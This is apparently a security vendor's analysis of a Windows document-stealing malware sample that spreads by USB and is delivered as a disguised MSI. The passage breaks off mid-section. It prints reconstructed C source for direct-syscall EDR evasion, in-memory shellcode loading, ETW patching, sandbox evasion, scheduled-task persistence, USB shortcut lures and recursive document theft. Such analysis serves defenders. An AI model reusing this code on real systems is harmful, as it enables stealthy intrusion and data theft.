“幽影劫持者”:多维度渗透与持久化控制的复合型恶意样本剖析

概述

  近日瑞星威胁情报平台捕获某敏感单位上报的一款高度隐蔽且功能复杂的恶意样本,其采用多层次隐蔽技术,包括直接系统调用、内存执行、日志阻断等手段,有效规避常规安全检测机制。该样本具备完整的攻击链能力,涵盖持久化驻留(通过计划任务、隐藏文件实现)、数据窃取(通过文档拷贝、压缩外传等方式)、远程控制(利用DoH、WMI指令通信)以及横向移动(借助可移动设备传播)等恶意行为模块。

ATT&CK矩阵

战术 技术 具体行为
TA0002 执行 T1059 命令和脚本解释器 通过COM接口执行JavaScript脚本。
TA0002 执行 T1106 Native API 利用开源项目SysWhispers2通过直接系统调用(syscall)绕过EDR
TA0005 防御规避 T1036 伪装 创建伪装快捷方式隐藏可移动硬盘中的最新目录,诱导用户点击后静默安装pagefile.db
TA0005 防御规避 T1112 修改注册表 MSI安装过程中向注册表内写入ShellCode
TA0005 防御规避 T1497 虚拟化/沙盒规避 关闭指向\RPC Control的句柄以阻碍沙箱分析。
TA0005 防御规避 T1562 削弱防御 Hook函数EtwEventWrite阻断事件日志上报。
TA0005 防御规避 T1564 隐蔽组件 pagefile.dbhiberfil.db设置了隐藏属性。
TA0003 持久化 T1053 计划任务 通过COM接口创建计划任务SystemCoreUpdate,通过msiexec.exe执行恶意MSI文件。
TA0007 环境发现 T1057 收集进程信息 遍历系统进程,筛选映像名为msiexec.exe的进程并验证命令行参数是否包含静默安装标记。
TA0008 横向移动 T1091 通过可移动媒体复制 病毒会将自身复制至可移动设备。
TA0009 收集信息 T1005 来自本地系统的数据 递归遍历本地硬盘内文档文件(txt/doc/docx/xls/xlsx/pdf)并拷贝至特定目录。
TA0009 收集信息 T1074 数据暂存 采集来的文件会先存放在本地系统的特定目录。
TA0009 收集信息 T1560 归档数据 PageFile目录使用RAR命令行工具加密压缩为hiberfil.db
TA0011 指挥与控制 T1071 应用层协议 通过DNS over HTTPS (DoH)协议向CloudflareGoogle DNS发送查询请求解析指定域名。

攻击流程

image

样本分析

LNK文件分析

字段 内容
文件大小 1 KB
文件MD5 fcb9853eb6d6ac0a070935cf711e06a7
文件类型 LNK
病毒名 Trojan.Starter/LNK!1.13815
主要功能 静默安装pagefile.db

image

pagefile.db分析

字段 内容
原始文件名 pagefile.db
文件大小 878 KB
文件MD5 ca6b1f3e3a2263909d10d65f165453e1
文件类型 MSI
主要功能 在注册表中添加shellcode,运行loader.dll的导出函数MsiInit

  向注册表HKEY_CURRENT_USER\Software添加shellcode

image

  运行loader.dll的导出函数MsiInit

image

loader.dll分析

字段 内容
原始文件名 loader.dll
文件大小 7 KB
文件MD5 b9a62f9c32dd245be35ebb826b9950cd
文件类型 DLL
病毒名 Trojan.ShellCodeLoader!1.13821
主要功能 在注册表中读取shellcode

  利用开源项目SysWhispers2通过直接系统调用绕过EDR

// 全局变量定义
int g_functionCount = 0;                 
int g_functionHashes[1000];              
DWORD g_functionAddresses[1000];         

int InitializeSyscallTable() 
{
    PEB* currentPEB;
    LIST_ENTRY* moduleListHead;
    LIST_ENTRY* currentModuleEntry;
    LDR_DATA_TABLE_ENTRY* currentModule;
    IMAGE_EXPORT_DIRECTORY* exportDir = NULL;
    DWORD* nameOffsetTable;
    WORD* ordinalTable;
    DWORD* functionAddressTable;

    // 检查是否已初始化
    if (g_functionCount != 0) 
        return 1;

    // 获取PEB并遍历模块列表
    currentPEB = NtCurrentPeb();
    moduleListHead = &currentPEB->Ldr->InLoadOrderModuleList;
    currentModuleEntry = moduleListHead->Flink;

    // 查找ntdll.dll 模块
    while (currentModuleEntry != moduleListHead) 
    {
        currentModule = CONTAINING_RECORD(currentModuleEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        DWORD exportRVA = currentModule->DllBase->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

        if (exportRVA != 0) 
        {
            char* baseAddr = (char*)currentModule->DllBase;
            char* moduleName = baseAddr + *(DWORD*)(baseAddr + exportRVA + 12);

            // 检查模块名是否为ntdll(不区分大小写)
            if ((*(DWORD*)(moduleName) | 0x20202020) == 0x6C64746E &&  // "ntdl"
                (*(DWORD*)(moduleName + 4) | 0x20202020) == 0x006C642E) // "lld."
            {
                exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportRVA);
                break;
            }
        }
        currentModuleEntry = currentModuleEntry->Flink;
    }

    if (exportDir == NULL) 
        return 0;

    // 获取导出表关键指针
    char* moduleBase = (char*)exportDir - exportDir->Name;
    nameOffsetTable = (DWORD*)(moduleBase + exportDir->AddressOfNames);
    ordinalTable = (WORD*)(moduleBase + exportDir->AddressOfNameOrdinals);
    functionAddressTable = (DWORD*)(moduleBase + exportDir->AddressOfFunctions);

    int functionIndex = 0;
    int totalFunctions = exportDir->NumberOfNames;
    DWORD* currentNameOffset = &nameOffsetTable[totalFunctions - 1];
    WORD* currentOrdinal = &ordinalTable[totalFunctions - 1];

    // 遍历导出函数(逆序)
    for (int i = totalFunctions - 1; i >= 0; --i, --currentNameOffset, --currentOrdinal) 
    {
        char* functionName = moduleBase + *currentNameOffset;

        // 检查Zw前缀
        if (*(WORD*)functionName != 0x775A) // "Zw"的小端序
            continue;

        // 计算函数名哈希
        DWORD nameHash = 0x4C07A66A; // 初始哈希值 1273145002
        for (char* p = functionName; *p; ++p) 
        {
            nameHash ^= (DWORD)(*p) + _rotr(nameHash, 8);
        }

        // 存储哈希和地址
        g_functionHashes[functionIndex] = nameHash;
        g_functionAddresses[functionIndex] = functionAddressTable[*currentOrdinal];

        if (++functionIndex >= 1000) 
            break;
    }

    g_functionCount = functionIndex;

    // 冒泡排序函数地址(升序)
    for (int i = 0; i < g_functionCount - 1; ++i) 
    {
        for (int j = 0; j < g_functionCount - i - 1; ++j) 
        {
            if (g_functionAddresses[j] > g_functionAddresses[j + 1]) 
            {
                // 交换地址
                DWORD tempAddr = g_functionAddresses[j];
                g_functionAddresses[j] = g_functionAddresses[j + 1];
                g_functionAddresses[j + 1] = tempAddr;

                // 交换哈希
                int tempHash = g_functionHashes[j];
                g_functionHashes[j] = g_functionHashes[j + 1];
                g_functionHashes[j + 1] = tempHash;
            }
        }
    }
    return 1;
}

  从注册表HKEY_CURRENT_USER\Software读取MSI文件释放的shellcode,在内存中执行

int ManipulateUserRegistry() {
    int operationStatus = 8;  // 初始状态:失败
    HANDLE tokenHandle = NULL;
    HANDLE registryKeyHandle = NULL;
    WCHAR formatString[] = L"\\REGISTRY\\USER\\S-%u-%u-%u-%u-%u-%u-%u\\Software"; // 注册表路径模板
    WCHAR registryPath[256] = {0};  // 存储格式化后的注册表路径

    // 打开当前进程的访问令牌
    if (ZwOpenProcessToken(
            GetCurrentProcess(),  // 当前进程句柄
            TOKEN_QUERY,          // 查询权限 
            &tokenHandle) >= 0)   // 输出令牌句柄
    {
        TOKEN_USER* tokenUserInfo = NULL;
        DWORD infoBufferSize = 512;

        // 查询令牌中的用户SID信息
        if (ZwQueryInformationToken(
                tokenHandle,            // 令牌句柄
                TokenUser,              // 查询用户信息
                &tokenUserInfo,         // 输出缓冲
                infoBufferSize,         // 缓冲区大小
                &infoBufferSize) >= 0)  // 返回实际大小
        {
            // 格式化注册表路径 (使用SID组件)
            int pathLength = wsprintfW(
                registryPath,
                formatString,
                tokenUserInfo->User.Sid->IdentifierAuthority.Value[5],  
                tokenUserInfo->User.Sid->SubAuthority[0],               
                tokenUserInfo->User.Sid->SubAuthority[1],               
                tokenUserInfo->User.Sid->SubAuthority[2],               
                tokenUserInfo->User.Sid->SubAuthority[3],               
                tokenUserInfo->User.Sid->SubAuthority[4],               
                tokenUserInfo->User.Sid->SubAuthority[5]                
            );

            UNICODE_STRING keyPathUnicode;
            OBJECT_ATTRIBUTES objectAttr;
            // 初始化注册表路径字符串结构 
            keyPathUnicode.Length = 2 * pathLength;
            keyPathUnicode.MaximumLength = 2 * pathLength + 2;
            keyPathUnicode.Buffer = registryPath;

            // 打开注册表键
            InitializeObjectAttributes(
                &objectAttr,
                &keyPathUnicode,
                OBJ_CASE_INSENSITIVE,
                NULL,
                NULL
            );
            if (ZwOpenKey(
                    &registryKeyHandle,   
                    KEY_ALL_ACCESS,       
                    &objectAttr) >= 0)    
            {
                DWORD valueType;
                BYTE valueData[512];
                DWORD dataSize = sizeof(valueData);

                // 查询注册表值
                if (ZwQueryValueKey(
                        registryKeyHandle,
                        L"",               
                        KeyValueFullInformation,
                        valueData,
                        dataSize,
                        &dataSize) >= 0)
                {
                    PVOID memoryAddress = NULL;
                    SIZE_T allocSize = 0x1000;

                    // 分配内存
                    if (ZwAllocateVirtualMemory(
                            GetCurrentProcess(),
                            &memoryAddress,
                            0,
                            &allocSize,
                            MEM_COMMIT,
                            PAGE_READWRITE) >= 0)
                    {
                        ZwQueryValueKey(registryKeyHandle, L"", ...);
                        // 删除注册表值
                        ZwDeleteValueKey(registryKeyHandle, L"");
                    }
                }
                ZwClose(registryKeyHandle);
                operationStatus = 0;  
            }
        }
        ZwClose(tokenHandle);
    }
    return operationStatus;
}

shellcode提取的DLL分析

字段 内容
文件大小 29KB
文件MD5 144b18ab4c80a0f4dbee3eb46517ea10
文件类型 DLL
病毒名 Stealer.Agent!1.13822
主要功能 添加计划任务,窃取文档类文件,在可移动硬盘中创建伪装快捷方式,远程服务器下发任意指令执行

  通过Hook函数EtwEventWrite阻断事件日志上报

int PatchEtwEventWrite()
{
    // 获取第三个加载模块的基地址(ntdll.dll )
    struct _LIST_ENTRY* thirdModule = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink->Flink[2].Flink;

    // 计算导出表地址
    int exportTable = thirdModule + *(int*)(&thirdModule[7].Blink[15].Flink + (int)thirdModule);

    unsigned int functionCount = *(unsigned int*)(exportTable + 24);   // 导出函数数量
    char** functionNames = (char**)(thirdModule + *(int*)(exportTable + 32)); // 函数名指针数组
    unsigned short index = 0;
    int found = 0;

    if (functionCount > 0)
    {
        while (1)
        {
            // 获取当前函数名指针 
            char* funcName = thirdModule + *(int*)&functionNames[4 * index];

            // 检查是否为"EtwEventWrite"(小端序校验)
            if (*(int*)funcName == 'EwtE' && 
                *(int*)(funcName + 4) == 'tnev' && 
                *(int*)(funcName + 8) == 'tirW' && 
                funcName[12] == 'e')
            {
                found = 1;
                break;
            }

            // 遍历结束检查 
            if (++index >= functionCount)
                return index; // 返回未修改时的索引值
        }

        // 修改目标内存页保护属性为可写 
        int status = ZwProtectVirtualMemory(-1, funcName, PAGE_EXECUTE_READWRITE);
        if (status >= 0)
        {
            // 向目标地址写入Hook代码
            ZwWriteVirtualMemory(-1, funcName, hookPayload, payloadSize);

            // 恢复原始内存保护属性
            return ZwProtectVirtualMemory(-1, funcName, originalProtection);
        }
        return status;
    }
    return 0; // 默认返回 
}

  Hook函数EtwEventWrite前后对比如下:

image

  创建文件夹%USERPROFILE%\AppData\Local\PageFile\[计算机名];[用户名];[SID]

{
    DWORD bufferSize; 
    WCHAR computerName[128]; 
    WCHAR userName[128]; 
    WCHAR pageFileDBFormat[32]; 
    WCHAR pathFormat[32];       
    WCHAR sourceTempFile[8]; 
    WCHAR targetExecutable[8]; 
    WCHAR pageFileDir[10]; 

    // 初始化路径字符串 
    wcscpy(sourceTempFile, L"Rar.tmp"); 
    wcscpy(targetExecutable, L"Rar.exe"); 
    wcscpy(pageFileDBFormat, L"%s\\pagefile.db"); 
    wcscpy(pageFileDir, L"PageFile");
    wcscpy(pathFormat, L"%s\\%s\\%s;%s;%s\\");

    // 系统初始化操作 
    InitializeCriticalSection(&g_criticalSection);
    GetWindowsDirectoryW(g_windowsDir, MAX_PATH);
    SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, 0, g_userProfileDir);
    SetCurrentDirectoryW(g_userProfileDir);

    MoveFileW(sourceTempFile, targetExecutable);    // Rar.tmp -> Rar.exe
    CreateDirectoryW(pageFileDir, NULL);    // \Local\PageFile

    // 构建pagefile.db 路径 
    wsprintfW(g_pageFilePath, pageFileDBFormat, g_userProfileDir);

    // 获取系统信息 
    bufferSize = 128;
    GetComputerNameW(computerName, &bufferSize);
    bufferSize = 128;
    GetUserNameW(userName, &bufferSize);

    // 执行附加初始化 
    ExecuteSecondaryInitialization(); 

    // 构建并创建最终路径 
    wsprintfW(g_finalPath, 
              pathFormat, 
              g_userProfileDir, 
              pageFileDir, 
              computerName, 
              userName, 
              g_appName);
    CreateDirectoryW(g_finalPath, NULL);    // \Local\PageFile\[计算机名];[用户名];[SID]
}

  通过COM接口创建计划任务SystemCoreUpdate通过msiexec.exe静默安装pagefile.db

HRESULT ScheduleSilentInstall(LPCWSTR targetPath, LPCWSTR triggerName, LPCWSTR commandArgs)
{
    HRESULT hr = S_OK;
    IWbemLocator* pLocator = NULL;
    IWbemServices* pService = NULL;
    IWbemClassObject* pJobClass = NULL;
    IWbemClassObject* pJobInstance = NULL;
    IWbemClassObject* pTimeObj = NULL;
    VARIANT vScheduleTime;

    // 伪装的时间常量数组(Unicode编码)
    const wchar_t kFakeTimeData[] = {
        L'1', L'9', L'9', L'9', L'-', L'1', L'1', L'-', 
        L'3', L'0', L'T', L'1', L'2', L':', L'0', L'0', 
        L':', L'0', L'0', L'P', L'T', L'M', L'1', L'\0'
    };

    // 初始化COM库 
    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (FAILED(hr)) return hr;

    // 创建WMI定位器
    hr = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, 
                         IID_IWbemLocator, (LPVOID*)&pLocator);
    if (FAILED(hr)) goto Cleanup;

    // 连接到WMI服务
    hr = pLocator->ConnectServer(L"ROOT\\CIMV2", NULL, NULL, NULL, 0, NULL, NULL, &pService);
    if (FAILED(hr)) goto Cleanup;

    // 获取计划任务类定义
    hr = pService->GetObject(L"Win32_ScheduledJob", 0, NULL, &pJobClass, NULL);
    if (FAILED(hr)) goto Cleanup;

    // 创建任务实例
    hr = pJobClass->SpawnInstance(0, &pJobInstance);
    if (FAILED(hr)) goto Cleanup;

    //=== 配置任务参数 ===//
    // 设置伪装触发时间 
    VariantInit(&vScheduleTime);
    vScheduleTime.vt  = VT_BSTR;
    vScheduleTime.bstrVal  = SysAllocString(kFakeTimeData);  // kFakeTimeData = 1999-11-30T12:00:00
    hr = pJobInstance->Put(L"StartTime", 0, &vScheduleTime, 0);

    // 设置执行命令 (msiexec.exe) 
    VARIANT vCommand;
    VariantInit(&vCommand);
    vCommand.vt  = VT_BSTR;
    vCommand.bstrVal  = SysAllocString(targetPath);  // targetPath = L"msiexec.exe" 
    hr = pJobInstance->Put(L"Command", 0, &vCommand, 0);

    // 设置静默安装参数 
    VARIANT vArgs;
    VariantInit(&vArgs);
    vArgs.vt  = VT_BSTR;
    vArgs.bstrVal  = SysAllocString(commandArgs);    // commandArgs = L"/qn /i pagefile.db" 
    hr = pJobInstance->Put(L"Arguments", 0, &vArgs, 0);

    // 设置工作目录
    VARIANT vWorkDir;
    VariantInit(&vWorkDir);
    vWorkDir.vt  = VT_BSTR;
    vWorkDir.bstrVal  = SysAllocString(L".\\");
    hr = pJobInstance->Put(L"WorkingDirectory", 0, &vWorkDir, 0);

    // 设置任务触发器名称 
    VARIANT vTrigger;
    VariantInit(&vTrigger);
    vTrigger.vt  = VT_BSTR;
    vTrigger.bstrVal  = SysAllocString(triggerName); // triggerName = L"SystemCoreUpdate"
    hr = pJobInstance->Put(L"Name", 0, &vTrigger, 0);

    // 设置任务类型(立即运行)
    VARIANT vJobType;
    VariantInit(&vJobType);
    vJobType.vt  = VT_I4;
    vJobType.lVal = 3;  // 立即执行类型
    hr = pJobInstance->Put(L"JobType", 0, &vJobType, 0);

    // 设置运行间隔(单次运行)
    VARIANT vInterval;
    VariantInit(&vInterval);
    vInterval.vt  = VT_I4;
    vInterval.lVal = 0; // 不重复执行 
    hr = pJobInstance->Put(L"Interval", 0, &vInterval, 0);

    //=== 提交计划任务 ===//
    IWbemCallResult* pResult = NULL;
    hr = pService->PutInstance(pJobInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, &pResult);

Cleanup:
    // 资源清理 
    VariantClear(&vScheduleTime);
    VariantClear(&vCommand);
    VariantClear(&vArgs);
    VariantClear(&vWorkDir);
    VariantClear(&vTrigger);
    VariantClear(&vJobType);
    VariantClear(&vInterval);

    SAFE_RELEASE(pResult);
    SAFE_RELEASE(pTimeObj);
    SAFE_RELEASE(pJobInstance);
    SAFE_RELEASE(pJobClass);
    SAFE_RELEASE(pService);
    SAFE_RELEASE(pLocator);

    CoUninitialize();
    return hr;
}

  通过修改注册表的Hidden键值,使操作系统不再显示隐藏文件

{
    int status;                     
    HKEY registry_key_handle;       
    REG_VALUE_ATTRIBUTES value_attr;
    WCHAR* value_data_ptr;          
    WCHAR registry_path[256];       
    WCHAR registry_key_template[78];
    DWORD hidden_value_data;        
    WORD null_padding = 0;          

    // 构建注册表路径模板
    wcscpy(registry_key_template, 
           L"\\REGISTRY\\USER\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced");

    // 准备值数据(DWORD=2)
    hidden_value_data = 2;  

    // 格式化完整注册表路径(插入当前用户SID)
    int char_count = wsprintfW(
        registry_path, 
        registry_key_template, 
        get_current_user_sid()  // 获取当前用户安全标识符
    );

    // 设置路径字节长度(宽字符→字节转换)
    value_attr.path_byte_length  = char_count * sizeof(WCHAR);
    value_data_ptr = registry_path;

    // 打开注册表键 
    status = native_open_registry_key(
        &registry_key_handle,
        registry_path,
        KEY_SET_VALUE  // 写权限 
    );

    if (status >= 0)  // STATUS_SUCCESS 
    {
        // 配置值属性:
        value_attr.value_type  = REG_DWORD;   // 数据类型:DWORD(双字)
        value_attr.data_size  = sizeof(DWORD); // 数据大小:4字节 
        value_data_ptr = (WCHAR*)&hidden_value_data;  // 指向数据缓冲区 

        // 设置注册表值 
        status = native_set_registry_value(
            registry_key_handle,
            L"Hidden",           // 目标值名称 
            value_attr.value_type, 
            value_data_ptr,
            value_attr.data_size 
        );

        native_close_registry_key(registry_key_handle);
    }

    return status;
}

  遍历系统进程,筛选映像名为msiexec.exe的进程,验证命令行参数是否包含静默安装标记/qn /i

query_system_information(5);  // 5表示SystemProcessInformation 

// 分配虚拟内存用于存储进程信息 
if (allocate_virtual_memory(-1) >= 0) {
    // 再次查询并遍历进程列表 
    if (query_system_information(5) >= 0) {
        do {
            // 检查进程类型标识(22可能表示特定进程类型)
            if (*(current_offset + 56) != 22) goto NEXT_PROCESS;

            // 验证是否为msiexec.exe  
            image_name_ptr = *(_DWORD**)(current_offset + 60);
            if (image_name_ptr[0] != 0x0073006D ||  // "ms"
                image_name_ptr[1] != 0x00650069 ||  // "ie"
                image_name_ptr[2] != 0x00650078 ||  // "xe"
                image_name_ptr[3] != 0x002E0063 ||  // "c."
                image_name_ptr[4] != 0x00650078 ||  // "ex"
                image_name_ptr[5] != 0x000065)      // "e\0"
                goto NEXT_PROCESS;

            // 打开目标进程 
            if (open_process(&process_handle) < 0) goto NEXT_PROCESS;

            // 检查运行环境(32位或64位)
            if (NtCurrentTeb()->WOW32Reserved) {  // 64位环境 
                if (query_process_info_64(process_handle) >= 0) {
                    read_process_mem_64(process_handle);  // 读取PEB 
                    read_process_mem_64(process_handle);  // 读取进程参数 
                    read_process_mem_64(process_handle);  // 读取命令行地址 
                    read_process_mem_64(process_handle);  // 读取命令行内容 

                    // 检查命令行是否包含"/qn /i"
                    cmd_offset = (command_line_len >> 1) - 8;
                    command_line_len >>= 1;
                    if (cmd_offset > 8) {
                        while (source_path[65 + 2 * cmd_offset] != 0x002F0071 ||  // "/q"
                               source_path[65 + 2 * cmd_offset + 4] != 0x0020006E ||  // "n "
                               source_path[66 + 2 * cmd_offset] != 0x002F0069 ||  // "/i"
                               source_path[66 + 2 * cmd_offset + 4] != 0x00220020) { // "\" "
                            if (--cmd_offset <= 8) goto CLOSE_HANDLE;
                        }

  若验证命令行参数失败则静默安装pagefile.db

if (validate_file_path(source_path)) {
    CopyFileW(source_path, L"C:\Users\[username]\AppData\Local\pagefile.db",  0);  
}

adjusted_len = 2 * command_line_len - 24;
if (adjusted_len >= 0x208) goto ERROR_EXIT;
source_path[65 + adjusted_len] = 0;
wcscpy(&source_path[target_path_len], (WCHAR*)&source_path[67] + 2 * cmd_offset);

file_attributes = GetFileAttributesW(source_path);
if (file_attributes != -1 && (file_attributes & FILE_ATTRIBUTE_DIRECTORY) == 0) {
    ShellExecuteW(NULL, L"open", source_path, NULL, NULL, SW_SHOWNORMAL);

  检测并关闭当前进程中指向\RPC Control的句柄

{
    int handleCount = -1;  
    DWORD bufferSize = 4096;  
    PVOID pInfoBuffer = NULL; 

    if (NT_SUCCESS(ZwAllocateVirtualMemory(GetCurrentProcess(), &pInfoBuffer, 0, &bufferSize, MEM_COMMIT, PAGE_READWRITE)))
    {
        NTSTATUS status;

        while ((status = ZwQuerySystemInformation(
            SystemHandleInformation,  // 查询类型:系统句柄信息
            pInfoBuffer, 
            bufferSize, 
            NULL
        )) == STATUS_INFO_LENGTH_MISMATCH) 
        {
            ZwFreeVirtualMemory(GetCurrentProcess(), &pInfoBuffer, &bufferSize, MEM_RELEASE);
            bufferSize *= 2; 

            if (!NT_SUCCESS(ZwAllocateVirtualMemory(GetCurrentProcess(), &pInfoBuffer, 0, &bufferSize, MEM_COMMIT, PAGE_READWRITE))) {
                return -1;
            }
        }

        // 获取当前进程ID 
        DWORD currentPid = GetCurrentProcessId();
        PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)pInfoBuffer;

        // 遍历系统句柄表
        for (DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++) 
        {
            SYSTEM_HANDLE_TABLE_ENTRY_INFO handleEntry = pHandleInfo->Handles[i];

            // 仅处理当前进程的句柄
            if (handleEntry.UniqueProcessId == currentPid) 
            {
                UNICODE_STRING objectName;
                char nameBuffer[512];

                // 查询句柄对象名称
                if (NT_SUCCESS(ZwQueryObject(
                    (HANDLE)handleEntry.HandleValue,
                    ObjectNameInformation,
                    nameBuffer,
                    sizeof(nameBuffer),
                    NULL 
                )))
                {
                    POBJECT_NAME_INFORMATION pNameInfo = (POBJECT_NAME_INFORMATION)nameBuffer;

                    // 检查是否为RPC Control对象 
                    if (pNameInfo->Name.Length > 20 &&  // 名称长度阈值
                        wcsncmp(pNameInfo->Name.Buffer, L"\\RPC Control", 12) == 0) 
                    {
                        ZwClose((HANDLE)handleEntry.HandleValue);  // 关闭句柄
                        handleCount++;
                    }
                }
            }
        }

        // 步骤5: 释放缓冲区
        ZwFreeVirtualMemory(GetCurrentProcess(), &pInfoBuffer, &bufferSize, MEM_RELEASE);
    }
    return handleCount;
}

  通过隐藏可移动硬盘中的最新目录并创建同名伪装快捷方式,诱导用户点击后静默安装pagefile.db

while (1) {
    WCHAR drives_buffer[512] = {0};
    int drive_count = query_drives(1, drives_buffer);   //查找可移动硬盘

    if (drive_count <= 0) {
        Sleep(1000);  // 无驱动器时休眠1秒 
        continue;
    }

    // 遍历所有检测到的驱动器 
    WCHAR* current_drive = drives_buffer;
    int drive_index = 0;
    while (*current_drive) {
        WCHAR search_path[MAX_PATH];
        wsprintfW(search_path, L"%s\\*", current_drive);  // 构造搜索路径 

        WIN32_FIND_DATAW find_data;
        HANDLE hFind = FindFirstFileW(search_path, &find_data);
        WCHAR target_dir[MAX_PATH] = {0};  // 记录最新目录

        if (hFind != INVALID_HANDLE_VALUE) {
            do {
                // 跳过非目录/特殊目录 
                if (!(find_data.dwFileAttributes  & FILE_ATTRIBUTE_DIRECTORY)) 
                    continue;
                if (find_data.cFileName[0] == L'.') 
                    continue;
                if (!lstrcmpiW(find_data.cFileName, L"$RECYCLE.BIN") || 
                    !lstrcmpiW(find_data.cFileName, L"System Volume Information")) 
                    continue;

                // 构造完整目录路径
                WCHAR full_dir_path[MAX_PATH];
                wsprintfW(full_dir_path, L"%s\\%s", current_drive, find_data.cFileName);

                // 时间戳比较,寻找最新目录
                if (is_newer_timestamp(&find_data.ftLastWriteTime,  &timestamps[drive_index])) {
                    wcscpy(target_dir, full_dir_path);
                    update_timestamp(&timestamps[drive_index], &find_data.ftLastWriteTime); 
                }
            } while (FindNextFileW(hFind, &find_data));
            FindClose(hFind);
        }

        // 复制pagefile.db到目标目录 
        if (target_dir[0]) {
            WCHAR target_file[MAX_PATH];
            wsprintfW(target_file, L"%s\\pagefile.db",  target_dir);

            // 对最新目录设置隐藏属性
            if (CopyFileW(malware_source_path, target_file, FALSE)) {
                SetFileAttributesW(target_dir, 
                    FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);

  通过COM接口创建被隐藏目录的快捷方式

{
    IShellLinkW* pShellLink = NULL;
    IPersistFile* pPersistFile = NULL; 
    WCHAR iconPath[MAX_PATH];         

    // 硬编码图标路径:%SystemRoot%\System32\shell32.dll 
    wcscpy(iconPath, L"%SystemRoot%\\System32\\shell32.dll"); 

    // 初始化COM库
    HRESULT hr = CoInitialize(NULL);
    if (SUCCEEDED(hr))
    {
        // 创建ShellLink对象 (CLSID_ShellLink)
        hr = CoCreateInstance(
            &CLSID_ShellLink,        
            NULL,                    
            CLSCTX_INPROC_SERVER,    
            &IID_IShellLinkW,        
            (LPVOID*)&pShellLink);

        if (SUCCEEDED(hr))
        {
            // 设置快捷方式属性
            // 指定图标位置
            if (SUCCEEDED(pShellLink->lpVtbl->SetIconLocation(pShellLink, iconPath, 4)) &&
                // 设置目标路径(%SystemRoot%\System32\msiexec.exe )
                SUCCEEDED(pShellLink->lpVtbl->SetPath(pShellLink, targetPath)) &&
                // 设置工作目录(/q /i "[文件夹名]\pagefile.db" )
                SUCCEEDED(pShellLink->lpVtbl->SetWorkingDirectory(pShellLink, workingDir)) &&
                // 设置窗口状态(SW_SHOWMINNOACTIVE=7 最小化启动)
                SUCCEEDED(pShellLink->lpVtbl->SetShowCmd(pShellLink, SW_SHOWMINNOACTIVE)))
            {
                // 获取IPersistFile接口用于保存 
                if (SUCCEEDED(pShellLink->lpVtbl->QueryInterface(
                        pShellLink,
                        &IID_IPersistFile,
                        (void**)&pPersistFile)))
                {
                    // 保存快捷方式到指定路径
                    pPersistFile->lpVtbl->Save(pPersistFile, shortcutSavePath, TRUE);
                    pPersistFile->lpVtbl->Release(pPersistFile);
                }
            }
            pShellLink->lpVtbl->Release(pShellLink);
        }
        CoUninitialize();
    }
}

  通过递归遍历的方式,将本地硬盘内的各类文档文件(包括txt、doc、docx、xls、xlsx、pdf格式的文件)拷贝至%USERPROFILE%\AppData\Local\PageFile\[计算机名];[用户名];[SID]文件夹中

HANDLE RecursiveArchiveDocuments()
{
    // 初始化路径 
    WCHAR currentDir[MAX_PATH] = [本地硬盘];  // 起始搜索目录 
    size_t basePathLen = wcslen(currentDir);

    currentDir[basePathLen] = L'*';
    currentDir[basePathLen + 1] = L'.';
    currentDir[basePathLen + 2] = L'*';
    currentDir[basePathLen + 3] = L'\0';

    // 开始文件遍历 
    WIN32_FIND_DATAW findData;
    HANDLE hFind = FindFirstFileW(currentDir, &findData);
    if (hFind == INVALID_HANDLE_VALUE) 
        return hFind;

    const WCHAR* excludeDirs[] = { L"C:\\Windows", L"." };  // 跳过系统目录和隐藏目录 

    do {
        // 跳过特殊目录
        if (wcscmp(findData.cFileName, L".") == 0 || 
            wcscmp(findData.cFileName, L"..") == 0) 
            continue;

        // 处理子目录
        if (findData.dwFileAttributes  & FILE_ATTRIBUTE_DIRECTORY) 
        {
            // 检查目录排除列表 
            BOOL isExcluded = FALSE;
            for (int i = 0; i < sizeof(excludeDirs)/sizeof(excludeDirs[0]); ++i) {
                if (wcscmp(findData.cFileName, excludeDirs[i]) == 0) {
                    isExcluded = TRUE;
                    break;
                }
            }
            if (isExcluded) continue;

            // 构建子目录路径
            WCHAR subDirPath[MAX_PATH];
            swprintf(subDirPath, MAX_PATH, L"%s%s\\", currentDir, findData.cFileName);

            // 递归处理子目录
            RecursiveArchiveDocuments(subDirPath);  
        }
        // 处理文件
        else 
        {
            // 检查文件大小
            ULARGE_INTEGER fileSize;
            fileSize.LowPart = findData.nFileSizeLow;
            fileSize.HighPart = findData.nFileSizeHigh;
            if (fileSize.QuadPart > maxSize) continue;   //若文件大于10M则不拷贝

            // 检查文件最后一次修改时间 (对比当前时间)
            FILETIME currentTime;
            GetSystemTimeAsFileTime(&currentTime);
            ULONGLONG ageDiff = CompareFileTimes(&findData.ftLastWriteTime,  &currentTime);
            if (ageDiff > maxAgeSec) continue;

            // 检查扩展名 
            WCHAR* fileExt = PathFindExtensionW(findData.cFileName);
            BOOL validExt = FALSE;
            const WCHAR* extPtr = L".txt\0.doc\0.docx\0.xls\0.xlsx\0.pdf\0";// 需要拷贝的扩展名 
            while (*extPtr) {
                if (_wcsicmp(fileExt, extPtr) == 0) {
                    validExt = TRUE;
                    break;
                }
                extPtr += wcslen(extPtr) + 1;  
            }
            if (!validExt) continue;

            // 构建路径并复制文件
            WCHAR srcPath[MAX_PATH], destPath[MAX_PATH];
            swprintf(srcPath, MAX_PATH, L"%s%s", currentDir, findData.cFileName);
            swprintf(destPath, MAX_PATH, L"%s%s", L"\Local\PageFile\[计算机名];[用户名];[SID]", findData.cFileName);

            // 根据文件最后一次修改时间决定是否覆盖
            CopyFileW(srcPath, destPath, (ageDiff > 365 * 24 * 3600));  // 旧文件覆盖 
        }
    } while (FindNextFileW(hFind, &findData));

    FindClose(hFind);
    return hFind;
}

  将PageFile目录使用密码压缩为文件hiberfil.db,然后将压缩包保存至可移动硬盘,压缩密码设置为123.av.va

  当检测到hiberfil.db的修改时间与当前系统时间间隔超过900秒(15分钟)时,将自动执行三步更新:

